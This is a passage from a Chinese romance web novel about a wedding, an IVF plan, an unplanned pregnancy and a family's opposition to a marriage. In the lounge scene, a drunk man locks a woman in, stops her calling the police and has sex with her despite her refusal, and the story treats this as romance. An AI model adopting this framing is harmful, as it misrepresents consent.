温疏亦有一些不舍。 李江衍是一个很好的人。 或许,他去到国外,有一部分自己的原因,但他选择了,她就祝福。 “那你有时间,就回国看看。” “会的。”他微笑着,儒雅知性,“哦对了,我听说乔深的病,恢复得很不错,恭喜你啊。” 提到乔深。 这是温疏亦的心病。 不过,他一天天地在好转,她很欣慰。 “他确实恢复得不错,希望有一天,他可以开口说话吧。” “会的。” 他深呼吸,提了个不情之请,“疏亦,我一会儿就不留下来参加你们的婚礼了,今天的飞机,可不可以……抱一下。” 温疏亦微怔。 今天就要离开了。 不知为何,她有一些伤感在。 “当然可以。” 温疏亦主动抱了李江衍,“在国外好好照顾好自己江衍哥,记得常回来看看。” “好。” 李江衍的感情落下了帷幕。 李穗安将他送到门口,“哥,你记得要常发朋友圈哦,有时间我会去看你的。” “别担心我,照顾好自己,照顾好叔叔婶婶,有时间去看看我爸妈。” 李江衍虽然笑着。 李穗安却想哭了,“哥,我会的,你记得有时间要回来哦,要是遇到了心仪的女孩,要把握住机会。” “好。” 李江衍微笑着说再见。 李穗安除了不舍,还有唏嘘。 感情的错位,害人啊。 …… 盛珽妄来接亲很热闹。 仪式感,按传统来的,庄重又令人羡慕。 只是双方都没了父辈的亲人。 这一环节便省略了。 叶棠坐在礼堂的一角,看着盛珽妄说着那些誓言,很为温疏亦高兴。 有些人注定是要被宠爱的。 不像她。 兜兜转转的,也没有找到属于自己的那份真爱。 不,她以前也爱过。 那时的爱,也挺轰轰烈烈的。 可是顾临…… 顾临已经不算了,她都跟他彻底闹掰了。 台上。 温疏亦笑着如花朵一般娇艳,“盛珽妄,你以后要照顾我,照顾好哆哆,还有……我肚子里这个小的。” 温疏亦在结婚的现场,宣布她怀了二胎。 盛珽妄哭了。 哭得很难看,但却发自真心的感动和惊喜。 温疏亦抬手给他擦着眼泪。 他们紧紧相拥,接吻,宣布成为夫妻。 叶棠有一些感慨。 这样的场景,她也曾幻想过,怕是近几年,没机会实现了。 女人就是这样。 到了一定的年龄,对爱情,对婚姻便不再执着。 她想,她需要去趟国外,挑几枚优质的精子,也好生个娃娃,继承自己的家产。 想到这些。 她觉得自己也不至于很惨。 婚礼很隆重。 政商名流几乎都到场祝贺。 盛珽妄牵着温疏亦的手,将她介绍给所有人,眼中的宠溺令人羡慕。 顾临喝多了。 怕自己失态,一个人躲到休息室里睡觉。 休息室很暗。 没有注意有一个人在角落里。 叶棠接到了国外的电话,便躲进休息室里接听。 “休斯顿医生,我暂时还没有时间过去,下个月吧,我安排一下工作,便过去挑选。” “可以的,我要求的是棕色的头发,褐色的瞳孔,还有,学历必需要高,身体必需要好,您是知道我的要求的,还麻烦你帮我挑选最优质的精子。” “好的,那麻烦您安排一下,我应该是下个月八号左右,会过去,到时我提前跟你联系,咱们再确定一下。” “好的好的,那辛苦您了,我要两枚,到时您来给我做试管吧,一男一女,嗯好的,好的,再见。” 角落里,还有些许醉意的男人,一下醒了酒。 叶棠? 精子? 试管? 什么情况? 叶棠做这个决定不容易。 但她现在有这个能力,可以决定自己的生活。 休斯顿医生,她很信任。 这对她来说,是一件好事。 她握着手机,刚要离开,就听到角落里,传来了幽暗的男人声音,“你还挺赶潮流的,不要男人,倒想要两个孩子,叶棠,我还真是低估了你。” 叶棠怔住。 这怎么是顾临的声音? 见鬼了? “你怎么在这儿?偷听别人讲电话,你还要不要点脸了?”叶棠不悦。 自己这点秘密,全被顾临听了去了。 倒霉。 “我不脸,你呢?你脑子有问题。”顾临想不通,叶棠这种想法,是什么时候有的,“你想生两个不知道父亲是谁的孩子,这对孩子的成长,有什么好处?” 第116章 他的爱没有售后 “这跟你又有什么关系?” 叶棠真的被气笑了。 他还对自己的人生规划,指手画脚了。 “怎么就没关系了。”顾临起身,一身酒气地走到叶棠面前,将她囿于身前,“既然什么男人的精子都行,那就用我的。” 叶棠:…… 神经病吧。 “顾临,你要是耍酒风,就去找个没人的地方,别在我面前丢人现眼的。”她推了他一把。 顾临没动。 反倒将整个身子,都压在了叶棠的身上,“我在你面前,丢的人,还少吗?” “今天是盛珽妄结婚的日子,你是他最好的朋友,你应该帮着他照顾来贺喜的宾客,自己喝成这样,还有理了?” “他结婚,他很高兴,但我不高兴。”顾临一想自己谈个恋爱,十年都没有结果,他就心里难受,“叶棠,为什么我们不能痛痛快快的把婚结了呢?” 叶棠:……他在这儿说什么疯话。 不是已经说得很清楚。 到此为止,一刀两断,各自安好了? “我们这辈子都结不了。”叶棠掀起漂亮的眉眼,清冷地望进顾临的眸底,“你的条件不错,有厚重的家世,自己呢,也是个小有名气的医生,长的……还可以,想结婚,肯定有大把的女人愿意,实在不行,你再把姜晚追回来,何必跟一个与自己不对付的女人,说这些呢?说这些,只会被笑话。” “笑吧。”他还怕她笑话,又不是笑话一回两回了,“我犯贱不行啊?” 叶棠不希望,刚刚平静下来的心情,又因顾临的话,掀起波澜。 他是那种只管撩拨,没有售后的人。 她已经对他失望了。 “你犯你的贱,我现在不想跟你扯上任何关系。” 叶棠转身,伸手去拉休息室的门。 结果,顾临比她手快,将门关了不说,还反锁了。 房间很黑。 只有窗外的光,窸窸窣窣地照进来,像是点点星光。 “顾临,你能不能别这么幼稚?” “反正你都要找个男人生孩子,我觉得我挺合适的,而且,我比那些只见精子不见男人的人,还强一点,我会付抚养费。” 他抱起她,将她扔到刚刚他躺过的沙发里。 叶棠觉得他真的是疯了。 “你再这样,我报警了。” 叶棠来真的,拿出手机就摁了110,只是还没有拨出去,就被顾临从指尖抽手,扔掉了手机。 “现在报警多没意思,等我一会儿完事了,你再报,人赃俱获,可以多判我两年。” 他欺身上去。 将叶棠狠狠摁住。 他承认,现在这种不得体的行为,有酒精的作用。 更多的是,他主动的,自愿的,强行的。 他现在就是想要她。 他不信,有女人睡不服。 “你说下个月八号去国外,算来……你现在是排卵期,正正好。” 他吻着她。 不顾她的反抗和拒绝。 “顾临,你以为我会生你的孩子吗?你不知道有事后药这种东西?我看你简直是疯了。” “你会吃事后药吗?” 他明知道,她会说是。 却又执拗地问。 但答案,他不想听,“无所谓,你不需要告诉我。” “顾临。”叶棠希望他清醒一些,“你这么做,有什么意义吗?想让我生你的孩子,你能给我什么?你什么也给不了我,你何必呢?” “我可以给你我这个人,我的身体,我的心,我的抚养费,我能给你的多了去了,你要吗?” 他颤动的双眸,在这抹黑暗中,格外的令人激荡。 但叶棠不敢动摇。 十年,中间隔了3650天,他们之间的所有的事物都已经变了。 物是人非。 惨不忍睹。 “可你给不了我信任,给不了我最起码的尊重,顾临,我们已经不再是以前的我们了。” “是不是从前的我们,试试不就知道了。” 他没什么废话。 在这局促的空间里。 情事来得猛烈。 中间有人过来转过几次门把手。 叶棠想喊。 被他狠狠地吻住唇,最终无果。 结束后,他抱着她说,“我以前做过检查,我精子的活力很强,这次你一定能怀上。” 叶棠气得要骂人。 她怀不怀,得她说了算。 跟他顾临有什么狗毛的关系。 “我不会生你的孩子,你别想多了。”叶棠推了他一把,人从沙发跌到了地上,“叶棠,你……” “顾临,你技术不错,我很满意。”叶棠拿起手机,给顾临转了钱,“服务差点,两千,不能再多了。” 顾临:……两千块? 她可真会打他的脸。 “叶棠,我告诉你,这孩子我跟你生定了,你想吃药是不是?那就吃吧,我一天来一次,我看你能吃多少药,我看这药,能阻止多少。” 叶棠淡睨了他一眼,将衣服穿好,“我倒是认识几个不错的精神病院的院长,他们应该很愿意接收你这种人的。” “你就气我吧。” 顾临扯过衣服,慢条斯理地穿好,“但我告诉你,这次,我认真了,叶棠,我就是要跟你生孩子,最好是生个女儿,我觉得你可以。” “做梦吧你。” 叶棠拉开房门走了。 盛珽妄看着她背影,视线落到了休息室的门口。 他猜,里面应该还有一个人。 不到三分钟。 顾临从里面走了出来。 “顾临。”盛珽妄叫他。 顾临回眸,转身走向了他,笑着,“新郎官,不去招呼客人,在这儿干什么?” “客人都走完了。” “这么快吗?”顾临抬腕看了眼时间,“这么晚了?那你赶紧的和温疏亦入洞房啊,我也要回去了。” “早点定下来吧,我看离了叶棠,你这辈子只能打光棍了。” 盛珽妄淡淡的。 顾临眼眸微沉,不易察觉地暗吸了一口,“她这个人,你又不是不知道,难追得很。” “她现在已经过了盼着结婚,盼着有个结果的年纪了,如果你再不抓紧,以后,就难说了。” 虽然说感情是两个人的事情。 但男人如果只肯被动。 女人很容易放弃的。 盛珽妄都知道的事情,顾临能不知道吗? “行,我这次就豁出我这老脸,争取将她拿下。” “叶棠是一个非常知道自己想要什么的人,她需要的是尊重,是理解,是凡事在未定性之前,都不要下判断的信任,顾临,你这个人,就容易在这些方面犯浑,以后改改。” 盛珽妄分析的精准。 顾临不想认,都难,“我知道,我有些时候,容易犯糊涂,我这不是……被她抛弃的后遗症吗,行了,你别管了,赶紧入洞房去吧。” “我让张纶去送你。”盛珽妄说。 顾临摆了摆手,“不用,我打个车就回去了,回去好好睡个觉,才能有更多的精力犯贱。” 顾临自嘲着。 转身离开了婚宴的现场。 第117章 超级富二代 温疏亦走过来,挽住了盛珽妄的胳膊。 “顾医生走了?” “嗯,走了。” 温疏亦温柔地点头,“哆哆也睡了,客人也走得差不多了,咱们也回家吧。” “好啊。”有点遗憾的是,今晚没有洞房了,“那你什么时候补给我?” “补给你什么?”温疏亦不解。 盛珽妄抱住她的腰,微弯着身子,附在她的耳边说,“当然是洞房花烛夜了。” “你真的是……”温疏亦红了脸,“……这不是怀孕了吗,以后再说。” “那就生完,要加倍补。” “好,知道了。” …… 叶棠走出宴会。 直接去了药店。 “你好,拿一盒金标的事后药。”她说。 药店的服务员,转身去取,找了一番,回过头来跟她讲,“不好意思,金标的没有了。” “那就拿普通的。” “普通的昨天就没有了,说是今天补货,也一直没到,真不好意思。”作为抱歉,服务员拿了两盒套子给叶棠,“以后用这个吧,吃药对身体没好处,送你的。” 叶棠的手里,被强行塞了两盒套。 要也不是,不要也不是的。 最终收下了,“那……谢谢了。” 她只能去下家药店。 路上她接了个电话,秘书说,客户的设计有一些小细节需要沟通。 非要她过去不行。 她便打了把方向。 买药的事情,就此搁下。 跟客户沟通到凌晨两点,客户满意后,她才拖着疲惫的躯体,回家睡觉。 这一觉就睡到了下午。 赵小芸打来电话,约她出去逛街。 她是不想去的,但是想到,最近一直这么累又这么忙,是得购物买点自己喜欢的,犒劳一下自己。 “行吧,我们咖啡店见。” 挂断手机。 她洗了个澡,化了个淡妆,拿着包出了门。 她哪知道,赵小芸说的逛街是,一场相亲啊。 “张颉,这是我的好闺闺,叶棠,海棠珠宝的主理人,总裁,年轻有能力,而且貌美如花,你们认识一下吧。” 叶棠还没有坐下。 就尴尬的脚趾抠地。 她礼貌地伸出手来,“你好,我叫叶棠,是小芸的朋友。” “你好,张颉。” 两个人算是相互认识。 赵小芸这时起了身,“你们聊一会儿,我去上个洗手间。” 离开前,她冲着叶棠挤眉又弄眼的。 叶棠明白她的意思。 张颉自我介绍道,“我目前在父亲的公司里打工,年底打算独立出来,经营自己的品牌,父母给了我十几个小目标,算是对我创业上面的支持,目前来说,经济方面没什么压力。” 算是比较有钱的富二代。 但叶棠这个人吧,对富二代总是多多少少的有点看法。 张颉的长相而言,倒不像是花花公了,还挺朴实的。 但人,也不能光靠长相识人。 “上一段感情,是什么时候?”她问。 张颉想了想,“半年前吧。” “因为什么原因分手的?” “她年纪小爱玩,而我偏向于踏实的生活。”他笑笑,似乎觉得自己过于苛刻,“当然,女孩爱玩没什么错,只是不太适合我而已,我比较倾向于年纪相仿的,无论是从生理还是心理上,都契合的。” 叶棠点头。 说的也没什么错。 感情就是这样,或许他很好,或许她也很好,但不一定适合在一起。 “我的情况,小芸应该跟你讲过了吧?” “讲过一些,不过,我不介意,从新开始认识你。” 叶棠笑笑,“多认识一个朋友,我感觉也不错。” “那咱们就从朋友做起吧。” 张颉倒也不没有火急火燎的,直奔婚恋的主题。 叶棠对他的感觉也一般。 没得激起,更深入了解的欲望。 做普通朋友。 嗯,也不错。 赵小芸回来时,张颉已经离开。 “他人呢?” “接了个电话,走了。”叶棠淡淡地喝着咖啡,“不是我说你赵小芸,以后要是想给我相亲呢,提前跟我讲一声,多尴尬啊。” 赵小芸嘿嘿笑,“我怕跟你说相亲,你不出来啊,怎么样?他还行吧,超级富二代,而且感情史没那么丰富,人看起来也很老实,不错吧?” “你怎么认识这种人的?” “他姐是我爸的学生,说她这个弟弟,三十多岁了,也没找到个合适的人,我便要来了照片看了一眼,虽然……” 赵小芸觉得,这人长得虽然不如顾临。 但是各方面条件不差起顾临。 “……虽然他外在条件没那么出挑,但人家底子厚呀,这样的男人,可是可遇而不可求的,不比您那位医生强?” “人家条件既然这么好,凭什么看上我呀?”叶棠无语摇头。 赵小芸嘶,“你哪里不好了,自己创业,高学历,大美女,每年几千万的营收,他去哪儿找你这样优秀的人啊,姐们,咱能自信点吗?” 叶棠叹息。 她都三十多了,强行自信,连自己都没眼看。 “这不是自不自信的问题。” “那是什么问题?”赵小芸拉着椅子,往叶棠面前坐了坐,“你还没有放下顾临?你要是真没放下他,你就主动出击啊,你老在这儿等,等到猴年马月去啊。” “也不是。”叶棠感觉很复杂。 赵小芸不懂了,“也不是,是个什么鬼?” “就是……”叶棠不知道该怎么形容,“……我确实心里还是有他,但我又知道,我们两个……已经不适合在一起了,所以,我得慢慢把他从我的记忆里剔除。” “剔除个鬼啊剔除。”赵小芸直来直去地说,“那要是能剔除的话,早剔除了,你们是不是最近还在见面?” 她注意到了叶棠脖子底下,那若隐若现的痕迹,“不会是……最近一次见面,还上床了吧?” 叶棠揪了揪衣领。 否认,“哪有。” “你看你这个心虚的样子,分明就是有。” 叶棠没有承认,也没有否认,自顾地说道,“我约了休斯顿医生,下个月去做试管,一次做两个,一男一女,儿女双全。” 赵小芸也能接受这个。 但是,“你有这个想法吧,也很正常,但你既然要做这个了,还跟顾临上的什么床啊?你应该跟他一刀两断啊,你分明就是给自己留了退路,给他留了机会。” “是挺烦的。”叶棠说。 赵小芸摇了摇头,“别烦了,咱们去逛街吧,买点自己喜欢的,就不烦了,不过,我还是得劝你一句,去找休斯顿医生这事,你还得好好考虑一下,别一时冲动,搞两个不知道爹是谁的孩子,到时候,是个麻烦。” 叶棠叹息。 这事,她其实想了有段时间了。 要是再考虑下去,准得泡汤,“不能再想了,再想就该犹豫了,到时,你有时间的话,就陪我去吧?” 第118章 就不能好好说话 “如果你真考虑好了,我会陪你去的。”赵小芸拍着胸脯说。 叶棠笑笑,“谢谢你小芸。” “跟我瞎感谢,那一会儿给我买只包吧。”她开着玩着。 叶棠挽起她的胳膊,“好,一会儿你随便挑。” “跟你开玩笑的,还当真了,那我可不客气了。” “别跟我瞎客气。” …… 叶棠重新进入到了工作状态。 令她头疼的是。 顾临每天都会来她的家。 后来,她改了门锁的密码,他打不开了,直接让人来换了锁。 叶棠一度让他搞到崩溃。 当然,这不是最崩溃的。 最崩溃的是,他每天来也不为别的,就是跟她一起吃饭,聊天,做家务,像极了一个婚姻中的丈夫。。 她不知道他的目的。 也不想去猜,就是相处得很烦。 基本上,都是顾临在说,她也没有什么有效的回复。 突然有一天。 叶棠发现自己例假推迟了。 各种猜测过后。 她想到了怀孕。 她去药店买了各种品牌的早孕试条。 一个人躲在卫生间里,验了一条又一条。 全是两条杠。 她慌了,也乱了。 “叶棠,你进到里面已经一个小时了,你还好吧?”顾临在外面敲门。 叶棠的心,随着他的敲门声,咚咚跳个不停。 怎么就怀孕了呢? 她记得她去买药了呀。 她一拍脑袋,没买到,事后就给忘了。 “叶棠,你到底怎么了?发生什么事情了?遇到什么难以解决的事情了吗?你跟我说,我跟你一起想办法。” “叶棠,你先了出来。你要再不出来,我就踹门了啊。” 叶棠将所有的试条,全部扔进了垃圾桶里。 打开了卫生间的门,“叫什么叫,顾临,你别老在我家里,赶紧回去吧,我心情能好点。” “你没事吧,脸色怎么这么白?” 他伸手去扶她。 被她嫌弃避开,“跟你没关系。” “你就不能好好说话?我担心你,你看不出来啊?” 顾临也是有脾气的。 这一个月来,她可一个好脸子都没给他,他说什么了?还不是天天犯着贱,又做饭,又刷锅的。 顾临不说话了。 脸沉得比墨还黑。 叶棠心里乱,抓起包,准备出去走走。 顾临没有追出去。 在客厅里坐了一会儿,便去了卫生间。 他洗了把脸,对着镜子,思考着,自己这段时间来的做法。 叶棠对他的态度,没有根本性的转变。 无论他做什么,她都不关心。 就像刚刚,明明他十分关心,她却有抵触的情绪。 他错了吗? 抬手,他去揪毛巾,那一眼余光,瞥向了马桶旁的垃圾筒。 作为医生的敏锐,看到两条杠,立马警报拉响。 他扔下毛巾,奔到垃圾筒旁,将试条捡起来看。 七七八八的试条,被他全部捡出来,摆放在了一起。 得出结论,叶棠怀孕了。 所以,她心情不好,是无法处理这件事情? 顾临不想笑的。 但实在是内心的欢喜,掩都掩不住。 他要当爸爸了。 他怎么这么强。 他想象着,一个长得像他,又像叶棠的小人,肉呼呼地奔向他的怀里。 喊着‘爸爸,爸爸。’ 光是想想,就幸福得找不着北了。 …… 叶棠没有目的地地在街上逛着。 她也三十岁的年纪了。 怎么这么容易怀呢。 现在怀孕了,怎么处理? 她跟休斯顿约好的事情…… 她脑子里一团乱麻。 打掉? 那对她来说,是不能选择的项目。 她有能力养。 但这个孩子是顾临的,又得跟他没完没了地纠缠了。 要不,偷偷的消失,然后找个地方,生下来。 就说自己抱养的。 应该也没人怀疑。 叶棠抱头。 好乱啊,好烦啊。 手机响了。 是顾临打来的电话,响了很久,她才慢悠悠地接起来,“喂?” “去哪儿了?”他问。 叶棠丧丧地回了句,“没去哪儿,随便逛逛。” “天气这么凉,感冒了怎么办?发个位置给我,我去接你。”顾临还是一如既往地犯贱。 叶棠走到唇边那些不好听的拒绝,不知道为何,突然就咽了下去。 “哦,其实也不用,没走多远。” “没走多远是多远啊?”顾临拿起外套,一边穿,一边跟她讲,“发个位置给我,我马上过去。” “顾临……”她突然想把她怀孕的事情,跟顾临讲了。 顾临嗯?了一声,“先把位置发我,见了面再说。” “哦。” 叶棠将位置发给了顾临后,就一个人蹲在路边,望着天上的星星失神。 顾临是跑来的。 看到叶棠孤零零地蹲在马路边上。 他心里有一种难以抑制的心疼。 她大概是对这个突然来的孩子,没有做好准备,心里正纠结,迷茫。 不知道怎么办了。 看吧。 她也还是一个没长大的孩子。 “棠棠。”他压下微喘的气息,唤她。 叶棠缓慢回眸的,眼眶泛红,像是哭过。 顾临快步走到她身旁蹲下,将她抱进了怀里,“怎么?哭过了?遇到什么解不开的事情了?要是实在解决不了,就打我两下,出出气。” “打你干什么?你就这么欠打吗?”她将他推开,起身,往回走,“顾临,你真的很讨厌,你知不知道?” “我知道,你不就喜欢我的讨厌不是吗?” 他油嘴滑舌着,眼眶却不知不觉地湿了。 他眼前的叶棠,变成了二十岁的样子,她那样的娇俏又一本正经的说,“顾临,将来我要是给你生孩子,我的身材就会走样的,你怎么补偿我?” “顾临,要不,我们生两个吧,一个男孩,一个女孩,好不好?” “顾临,你们男人可真省事,要我说,以后就让你们男人来生孩子,我一想到我肚子上全是妊娠纹,我就觉得,你欠我的。” 那时的他傻呵呵地抱着她发誓,“你放心,我不会让你肚子上长纹的,我也不会让你的身材走样,叶棠,我听你的,就生两个,我会是全天下最好的老公,最棒的父亲。” 往事历历在目。 回想起来,他觉得很是唏嘘。 三十岁的叶棠,和二十岁的叶棠没什么区别。 依然为自己怀孕,不知所措。 “棠棠。”他再次唤她。 叶棠停下脚步,回身望向他,“什么?” “如果你愿意的话,我们结婚。”他想说的不止这些,“怀孕了别害怕,我会陪着你的,无论你嫁不嫁我,我都会陪着你,棠棠,我爱你,十年前和十年后都一样爱,这份爱,从来没有变过,也永远不会变。” 叶棠眼眶又红了。 她望向表白的顾临,声音微哑,“你怎么知道我怀孕的?” “垃圾筒里那么多条验孕棒,只要不瞎,都会看到的。”他笑着说。 “可是我还没有想好,要不要嫁给你。”结婚需要面临的事情和人太多了。 双方父母。 各自的亲戚。 还有好多好多,未知的事情。 第119章 鸡飞蛋打 “没关系,我给你时间想清楚。”顾临步子坚定的走向了叶棠,将她紧紧的抱在怀里,“相信我棠棠,我会是一个好丈夫,好父亲的,我答应你,我一定会做到。” 叶棠迷茫了。 或许,这个孩子就是她和顾临之间的牵绊吧。 真的要结婚吗? 可是他的父母,和自己的父母…… 都不是好对付的主。 相较于叶棠这边众多考虑的情况下。 顾临那边,简直就是春风得意。 他约了盛珽妄,急不可耐地,将自己马上要做父亲的事情,告诉了他。 “没想到啊,我这么厉害,叶棠怀了,而且,她正在考虑与我结婚的事情,这事,八九不离十了,我现在啊……”顾临揪了揪衣领,得意的不得了,“……就等着做新郎官和父亲了。” 盛珽妄晃着手中的酒杯,不得不给他泼盆冷水,“你现在要考虑的是,如何让你的父母接受叶棠和她的父母,毕竟她的父母和你的父母都不是省油的灯。” 顾临似乎是忘了。 大学时,他与叶棠的恋爱,顾家人是反对的。 为此,他与家里人,长达四年拉锯战。 后来,关系缓和后,他找自己的父亲,为叶棠进修找门路找关系,而最后人情搭上不说,叶棠也没有留下。 顾家对叶棠的意见大了去了。 早就把顾临的婚事,与他的自愿程度的自由度,给剥夺了。 通俗点讲。 顾临想要结婚,必需是门当户对,由顾家父母安排。 要么就打一辈子光棍,顾家父母也认了。 顾临想要娶叶棠,门都没有。 顾临是被爱情冲昏了头脑,盛珽妄这盆凉水,泼的他必需要回归理性的,来应付这场恶战。 “这解决不了问题,就正面刚问题,明天,我就带叶棠回家见父母,说我要娶她,看看他们怎么说。” 反正。 父母的意见,对他来说不重要。 十年了。 他岁数也不小了,这是最后一次机会了。 “硬刚对你来说,没什么好处。”盛珽妄提醒他,“你爸有一万种方法对付你,对付叶棠,到时,怕是要鸡飞蛋打。” 顾临眼眸沉下。 他太了解父亲的脾气。 他对叶棠有偏见,觉得她又穷又固执,她的家庭更不用说了,全是拖油瓶。 人的成见一旦形成。 很难改变。 他得提前回家,先把这事说一下,免得惹到叶棠。 “看来,我得跟我爸深入交流一下。” …… 这天。 顾临下班后,去买了两瓶好酒,还破天荒地买了某奢侈品的首饰,回了已经很久没有回过的家。 一走进别墅。 家里的下人,都像见了鬼似的,“少爷,你,你回来了?” “我爸呢,在家吗?”他问。 下人立马回,“在家呢。” 他拎着酒,大摇大摆地走进了屋内。 正在忙着插花的母亲,抬眸望向了他。 似乎意外,也似乎不意外。 淡得不能再淡地说了句,“哟,稀客啊。” “妈,你这话说的,我不是因为最近工作忙,没时间回家吗?”顾临将酒放到桌子上,揽起母亲的肩,有一些讨好的意味,“您是不知道,我想您想的,每天都睡不着觉。” 许明珠冷嗤,“这倒是稀罕了,还有儿子想妈,想得睡不着的。” “妈,您看您,我是真的想您,呶,这个,我特意按照您喜欢的品牌,给您买的。” 顾临将购买的首饰,递到母亲的面前。 她淡淡地扫了一眼,“今天回来有事吧?” 自己的儿子,他撅起屁股来,她就知道是拉是尿,“我听说叶棠回国了,你这次回家,不会是因为她吧?” 顾临被猜透。 尴尬地挤了抹笑。 “妈,您说您……怎么这么会猜呢。” 许明珠哂,“你还真是记吃不记打,我告诉你,想让我们接受她,门也没有,你也不必白费这力气了。” 这话,顾临着实是不爱听。 “她是杀咱们家的人,还是放火烧咱们家了?妈,我一直觉得我爸这人戴有色眼镜看人,您一直挺开明的,怎么您还搞上偏见这一套了。” 许明珠依然漫不经心地,在插着花。 对于儿子的半点指责,她没有半点情绪。 “别给我戴高帽子,我不吃这一套。”许明珠将插好的花摆放好,拿起手机拍了张照片,“叶棠当年走得那么绝决,根本就没有把你放在眼里,更不用提放在心上了,你自己软骨头,我们管不了,但是想进顾家的门,就别想了。” “我都不介意,你们介意个什么劲。” 顾临拿起果盘里的水果,咬了一口,“叶棠追逐她自己的理想,说明她是一个有追求的人,而且她现在自己开公司,厉害得很呢,我不想再错过她了。” “那是你的事情,与我们无关。” 许明珠顺手,将自己拍下的照片,发了个朋友圈,内容,[瞧这花,摆弄一下,更好看了。] “妈,你不希望儿子过得幸福吗?” 许明珠抱起花瓶,走到客厅,摆放到茶几上,“你是觉得,你以后肯定能幸福?” “当然啊,我爱她。” “那她爱你吗?”许明珠终于肯正眼瞧向顾临,“你是一个在重大选择时,可以被放弃的人,你有几成把握,她爱你?” 顾临:…… 嗯…… 他还真被问住了。 他没有把握,一成把握也没有。 “不管怎么样,这次,我必需要娶她。” “原因?”许明珠淡淡地问。 顾临答,“她怀孕了,作为男人,我要是在这个时候,不负起责任,我就不是男人,况且,这孩子是我让她怀的,我想要一个跟她的宝宝,我很想。” 许明珠眉眼,并没有因为这个重磅,而有丝毫细微的改变。 揣球上位,在豪门中,不算稀罕事。 没想到,这出戏,演到自己头上了。 “孩子我们可以认,但人,你娶不了。” “妈……”顾临要疯了。 顾长青从楼上走下来,表明了自己的态度,“你妈说的我同意,孩子是我们顾家的,我们认,至于叶棠那个女人,你想娶,门都没有。” “为什么啊。”顾临满脸的不解。 顾长青弯身坐到自己的太太身旁,点燃一根雪茄,“为什么?你是忘了当年她怎么对你的了?你替她妈治病,给他爸还债,供她弟弟上学,她却为了追求自己的理想,把你扔下十年,她并不爱你,这就意味着,这样的事情,以后还会重演,你长点记性吧。” 第120章 没骨头 顾长青气自己儿子,没骨头。 顾临觉得父母在咄咄逼人,“你们不会以为,你们不同意,我就结不了这个婚吧?” “你当然可以结,但是……”顾长青把丑话说在前头,“……你将放弃你作为顾家继承人的资格,我倒是想看看,你一个小医生,一月那几万块钱,是如何负担得起,一个女人和一个孩子的开支。” “叶棠又不是冲我们家的钱来的。”顾临生气了。 脸色算不上好看。 语气更是。 顾长青和许明珠反倒是不慌不忙的,“顾临,她不是冲你钱来的,我信。但是一个男人给不了一个女人优渥的生活,还要养孩子,你觉得她对你还有几分忍耐?” 顾临被问哑了。 他生长在顾家。 没有任何生活压力的条件下,他选择了学医。 学医其实没那么赚钱。 但他的银行卡里,从来不缺钱,他没有被生活中的压力困扰过。 如果顾家真的断了支持他的资金。 想来,应该是挺困难的。 “你们非得把我逼死?” 顾长青笑了,“就你?你别把我逼死,我们就烧高香了,自己好好想想去吧,我和你妈的意见一致,我们接受她生的孩子,但是要娶妻,必需是我们喜欢的,门当户对的。” “所以……没得商量了是不是?” 顾长青一字一顿的,“没,得,商,量。” 顾临点头。 起身,“行,既然这样,那结婚这事,我就自己办了,你们别后悔。” “你别后悔就行。” 父母在这事上,没有妥协。 顾临受挫了。 他没有跟叶棠说。 就是觉得委屈了她。 看来,以后,他得努力赚钱了。 晚餐是他做的。 一些营养餐。 叶棠孕反严重,吃不下东西,但会喝一点他熬的汤,“顾临,你别管我了,你先吃点饭吧,今晚不是还有手术吗?” 顾临敷衍了句,“嗯。” 让叶棠去躺着。 叶棠看了他一眼,“怎么不理人啊?” “明天,我们去领证吧。”他说。 叶棠:“你想清楚了?” “想清楚了,我想跟你结婚,我们明天就领证,领完证后,我有件事情,要跟你商量。”他抿唇冲她笑着。 搞得她心里很慌,“什么事情,还得领证后,才跟我讲?” “好事。”他说。 叶棠信了。 这一觉睡得并不安稳,半夜起来吐了很多次。 她从未想过,怀孕是这么难熬的事情。 但这并不影响,她期待小生命的到来。 一大早。 顾临便换上了干净的白衬衣。 叶棠看他如此重视,自己也换了一件白色的衬衣。 领证的日子,是随机挑的。 民政局大厅里,来登记结婚的人不多,离婚的人不少。 现在的人,对婚姻不再将就. 合就在一起,不合就分开。 顾临握紧了叶棠的手,有一丝紧张。 “干嘛?如果对婚姻没有信心,大可不必多走这一道程序,把自己搞成一个二婚,不划算。”叶棠说。 顾临淡看了她一眼,“你对婚姻有信心吗?你不会半道上抛弃我吧?” “杯弓蛇影。”她嗤。 顾临笑笑,“我觉得你不是这样的人。” 叶棠没说话。 顾临有很多不确定在里面。 她何尝不是。 已经走到了这一步,那就勇敢地走下去吧。 “顾临,叶棠,请到三号服务台。” 叫号器里叫着二人的名字。 顾临深呼吸,牵起了叶棠的手,“走吧,到我们了。” 结婚登记很简单。 填几张表,拍几张照片,然后钢印一盖,就成了合法夫妻。 拿到结婚证这一刻。 顾临感觉自己身上的责任,突然重了。 “你不是说,领完证,要跟我商量一件事情吗?是什么?”叶棠还记得顾临说过的话。 顾临淡淡地点头,“棠棠,我想……辞职了。” “辞职?”叶棠震惊。 当医生是顾临一直以来的追求。 而且,他这个医生当得很合格,各种研究的奖项拿了不少。 算是医院里骨干。 不当医生了? “为什么,顾临,为什么不想当医生了?” 顾临苦涩地扯唇,“做医生,不赚钱的,以后我要养你,养宝宝,没钱不行的。” 这话听得叶棠心酸。 顾临的家境很好的。 他能说出这样的话来,那就证明,顾家人,其实并没有接受她成为顾家的儿媳妇。 而他,连带着,一起被顾家边缘化了。 叶棠心里不好受。 轻轻地握住了他的手,“顾临,我不希望你辞职。” “棠棠……” “你听我说顾临,一个家里呢,有一个人在赚钱就够了,你呢,就安心做你的白衣天使,我希望你可以做你喜欢的事情,而不是为了所谓的责任,去学着做生意,做商人。” 顾临明白叶棠话里的安慰。 可……这不一样的,他是个男人,男人就得把家顶起来。 “我希望能成为你的依靠,而不是……” “什么叫依靠?赚很多的钱就是依靠吗?”叶棠浅浅摇头,“关心和爱才是依靠,如果你丢掉了你最爱的事业,天天愁眉苦脸的,天天闹情绪,你还有精力爱我吗?还有时间给我关心吗?” 顾临望住她的眼睛:…… 叶棠笑笑,“十年前,我们不就说好了,以后呢我负责赚钱,你负责追求你的事业,成为了医学界的大拿,明明早就分工好了,可不兴改变主意的。” 顾临感动了。 眼眶很酸,很胀,“可我总觉得这样,委屈了你。” “有什么可委屈的,我又不缺钱花,而且你做为医生,赚的也不少了,以后越老越吃香,会越赚越多的,我相信你。” 叶棠挽起顾临的胳膊,“今天咱们算是结婚了,找个地方,好好的吃一顿,算是庆祝吧。” “好。” 叶棠领证后,发了个朋友圈。 这个朋友圈里,没有屏蔽任何人,包括自己的父母。 质询的电话,接踵而至。 